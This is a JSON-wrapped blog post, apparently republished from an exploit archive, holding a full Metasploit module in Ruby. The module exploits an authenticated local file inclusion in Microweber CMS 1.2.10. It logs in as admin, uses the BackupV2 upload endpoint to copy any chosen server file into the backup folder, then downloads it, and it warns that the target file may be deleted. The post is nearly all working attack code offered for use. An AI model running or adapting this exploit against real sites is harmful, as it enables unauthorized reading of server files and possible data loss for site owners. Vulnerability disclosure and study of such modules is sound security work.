{"id":21023,"date":"2022-02-23T17:58:12","date_gmt":"2022-02-23T14:58:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166122\/microwebercms1210-lfi.rb.txt"},"modified":"2022-02-26T10:05:09","modified_gmt":"2022-02-26T06:35:09","slug":"microweber-cms-1-2-10-local-file-inclusion","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microweber-cms-1-2-10-local-file-inclusion\/","title":{"rendered":"Microweber CMS 1.2.10 Local File Inclusion"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)<br \/>\n# Date: 22.02.2022<br \/>\n# Exploit Author: Talha Karakumru &lt;talhakarakumru[at]gmail.com&gt;<br \/>\n# Vendor Homepage: https:\/\/microweber.org\/<br \/>\n# Software Link: https:\/\/github.com\/microweber\/microweber\/archive\/refs\/tags\/v1.2.10.zip<br \/>\n# Version: Microweber CMS v1.2.10<br \/>\n# Tested on: Microweber CMS v1.2.10<\/p>\n<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Auxiliary<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Microweber CMS v1.2.10 Local File Inclusion (Authenticated)&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nMicroweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.<br \/>\nUpload function may delete the local file if the web service user has access.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Talha Karakumru &lt;talhakarakumru[at]gmail.com&gt;&#8217;<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/huntr.dev\/bounties\/09218d3f-1f6a-48ae-981c-85e86ad5ed8b\/&#8217;]\n],<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>\n&#8216;Stability&#8217; =&gt; [ OS_RESOURCE_LOSS ]\n},<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[ &#8216;Microweber v1.2.10&#8217;, {} ]\n],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-01-30&#8217;<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\">register_options(<br \/>\n[<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path for Microweber&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The admin\\&#8217;s username for Microweber&#8217;]),<br \/>\nOptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The admin\\&#8217;s password for Microweber&#8217;]),<br \/>\nOptString.new(&#8216;LOCAL_FILE_PATH&#8217;, [true, &#8216;The path of the local file.&#8217;]),<br \/>\nOptBool.new(&#8216;DEFANGED_MODE&#8217;, [true, &#8216;Run in defanged mode&#8217;, true])<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;login&#8217;)<br \/>\n})<\/p>\n<p dir=\"ltr\">if res.nil?<br \/>\nfail_with(Failure::Unreachable, &#8216;Microweber CMS cannot be reached.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">print_status &#8216;Checking if it\\&#8217;s Microweber CMS.&#8217;<\/p>\n<p dir=\"ltr\">if res.code == 200 &amp;&amp; !res.body.include?(&#8216;Microweber&#8217;)<br \/>\nprint_error &#8216;Microweber CMS has not been detected.&#8217;<br \/>\nExploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code != 200<br \/>\nfail_with(Failure::Unknown, res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">print_good &#8216;Microweber CMS has been detected.&#8217;<\/p>\n<p dir=\"ltr\">return check_version(res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check_version(res_body)<br \/>\nprint_status &#8216;Checking Microweber\\&#8217;s version.&#8217;<\/p>\n<p dir=\"ltr\">begin<br \/>\nmajor, minor, build = res_body[\/Version:\\s+(\\d+\\.\\d+\\.\\d+)\/].gsub(\/Version:\\s+\/, &#8221;).split(&#8216;.&#8217;)<br \/>\nversion = Rex::Version.new(&#8220;#{major}.#{minor}.#{build}&#8221;)<br \/>\nrescue NoMethodError, TypeError<br \/>\nreturn Exploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">if version == Rex::Version.new(&#8216;1.2.10&#8217;)<br \/>\nprint_good &#8216;Microweber version &#8216; + version.to_s<br \/>\nreturn Exploit::CheckCode::Appears<br \/>\nend<\/p>\n<p dir=\"ltr\">print_error &#8216;Microweber version &#8216; + version.to_s<\/p>\n<p dir=\"ltr\">if version &lt; Rex::Version.new(&#8216;1.2.10&#8217;)<br \/>\nprint_warning &#8216;The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.&#8217;<br \/>\nreturn Exploit::CheckCode::Unknown<br \/>\nend<\/p>\n<p dir=\"ltr\">return Exploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">def try_login<br \/>\nprint_status &#8216;Trying to log in.&#8217;<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;keep_cookies&#8217; =&gt; true,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;user_login&#8217;),<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;lang&#8217; =&gt; &#8221;,<br \/>\n&#8216;where_to&#8217; =&gt; &#8216;admin_content&#8217;<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">if res.nil?<br \/>\nfail_with(Failure::Unreachable, &#8216;Log in request failed.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code != 200<br \/>\nfail_with(Failure::Unknown, res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">json_res = res.get_json_document<\/p>\n<p dir=\"ltr\">if !json_res[&#8216;error&#8217;].nil? &amp;&amp; json_res[&#8216;error&#8217;] == &#8216;Wrong username or password.&#8217;<br \/>\nfail_with(Failure::BadConfig, &#8216;Wrong username or password.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if !json_res[&#8216;success&#8217;].nil? &amp;&amp; json_res[&#8216;success&#8217;] == &#8216;You are logged in&#8217;<br \/>\nprint_good &#8216;You are logged in.&#8217;<br \/>\nreturn<br \/>\nend<\/p>\n<p dir=\"ltr\">fail_with(Failure::Unknown, &#8216;An unknown error occurred.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def try_upload<br \/>\nprint_status &#8216;Uploading &#8216; + datastore[&#8216;LOCAL_FILE_PATH&#8217;] + &#8216; to the backup folder.&#8217;<\/p>\n<p dir=\"ltr\">referer = &#8221;<br \/>\nif !datastore[&#8216;VHOST&#8217;].nil? &amp;&amp; !datastore[&#8216;VHOST&#8217;].empty?<br \/>\nreferer = &#8220;http#{datastore[&#8216;SSL&#8217;] ? &#8216;s&#8217; : &#8221;}:\/\/#{datastore[&#8216;VHOST&#8217;]}\/&#8221;<br \/>\nelse<br \/>\nreferer = full_uri<br \/>\nend<\/p>\n<p dir=\"ltr\">res = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;BackupV2&#8217;, &#8216;upload&#8217;),<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;src&#8217; =&gt; datastore[&#8216;LOCAL_FILE_PATH&#8217;]\n},<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Referer&#8217; =&gt; referer<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">if res.nil?<br \/>\nfail_with(Failure::Unreachable, &#8216;Upload request failed.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code != 200<br \/>\nfail_with(Failure::Unknown, res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.headers[&#8216;Content-Type&#8217;] == &#8216;application\/json&#8217;<br \/>\njson_res = res.get_json_document<\/p>\n<p dir=\"ltr\">if json_res[&#8216;success&#8217;]\nprint_good json_res[&#8216;success&#8217;]\nreturn<br \/>\nend<\/p>\n<p dir=\"ltr\">fail_with(Failure::Unknown, res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">fail_with(Failure::BadConfig, &#8216;Either the file cannot be read or the file does not exist.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def try_download<br \/>\nfilename = datastore[&#8216;LOCAL_FILE_PATH&#8217;].include?(&#8216;\\\\&#8217;) ? datastore[&#8216;LOCAL_FILE_PATH&#8217;].split(&#8216;\\\\&#8217;)[-1] : datastore[&#8216;LOCAL_FILE_PATH&#8217;].split(&#8216;\/&#8217;)[-1]\nprint_status &#8216;Downloading &#8216; + filename + &#8216; from the backup folder.&#8217;<\/p>\n<p dir=\"ltr\">referer = &#8221;<br \/>\nif !datastore[&#8216;VHOST&#8217;].nil? &amp;&amp; !datastore[&#8216;VHOST&#8217;].empty?<br \/>\nreferer = &#8220;http#{datastore[&#8216;SSL&#8217;] ? &#8216;s&#8217; : &#8221;}:\/\/#{datastore[&#8216;VHOST&#8217;]}\/&#8221;<br \/>\nelse<br \/>\nreferer = full_uri<br \/>\nend<\/p>\n<p dir=\"ltr\">res = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;BackupV2&#8217;, &#8216;download&#8217;),<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;filename&#8217; =&gt; filename<br \/>\n},<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Referer&#8217; =&gt; referer<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">if res.nil?<br \/>\nfail_with(Failure::Unreachable, &#8216;Download request failed.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code != 200<br \/>\nfail_with(Failure::Unknown, res.body)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.headers[&#8216;Content-Type&#8217;] == &#8216;application\/json&#8217;<br \/>\njson_res = res.get_json_document<\/p>\n<p dir=\"ltr\">if json_res[&#8216;error&#8217;]\nfail_with(Failure::Unknown, json_res[&#8216;error&#8217;])<br \/>\nreturn<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">print_status res.body<br \/>\nend<\/p>\n<p dir=\"ltr\">def run<br \/>\nif datastore[&#8216;DEFANGED_MODE&#8217;]\nwarning = &lt;&lt;~EOF<br \/>\nTriggering this vulnerability may delete the local file if the web service user has the permission.<br \/>\nIf you want to continue, disable the DEFANGED_MODE.<br \/>\n=&gt; set DEFANGED_MODE false<br \/>\nEOF<\/p>\n<p dir=\"ltr\">fail_with(Failure::BadConfig, warning)<br \/>\nend<\/p>\n<p dir=\"ltr\">try_login<br \/>\ntry_upload<br \/>\ntry_download<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated) # Date: 22.02.2022 # Exploit Author: Talha Karakumru &lt;talhakarakumru[at]gmail.com&gt; # Vendor Homepage: https:\/\/microweber.org\/ # Software Link: https:\/\/github.com\/microweber\/microweber\/archive\/refs\/tags\/v1.2.10.zip # Version: Microweber CMS v1.2.10 # Tested on: Microweber CMS v1.2.10 ## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Auxiliary prepend &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21023","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21023"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21023\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}